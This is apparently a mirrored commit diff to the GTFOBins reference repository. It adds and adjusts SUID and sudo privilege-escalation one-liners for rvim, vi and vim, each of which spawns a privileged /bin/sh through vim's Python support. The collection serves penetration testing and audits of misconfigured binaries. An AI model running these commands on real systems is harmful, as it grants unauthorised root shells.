mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
parent
e066c22c1f
commit
32b113b003
@ -14,7 +14,7 @@ functions:
|
||||
- code: rvim file_to_read
|
||||
suid:
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
|
@ -18,6 +18,8 @@ functions:
|
||||
- code: vi file_to_read
|
||||
suid:
|
||||
- code: ./vi -c ':!/bin/sh -p'
|
||||
- description: This requires that `vi` is compiled with Python support.
|
||||
code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
- code: sudo vi -c ':!/bin/sh'
|
||||
- description: This requires that `vi` is compiled with Python support.
|
||||
|
@ -18,6 +18,8 @@ functions:
|
||||
- code: vim file_to_read
|
||||
suid:
|
||||
- code: ./vim -c ':!/bin/sh -p'
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
- code: sudo vim -c ':!/bin/sh'
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
|
Loading…
Reference in New Issue
Block a user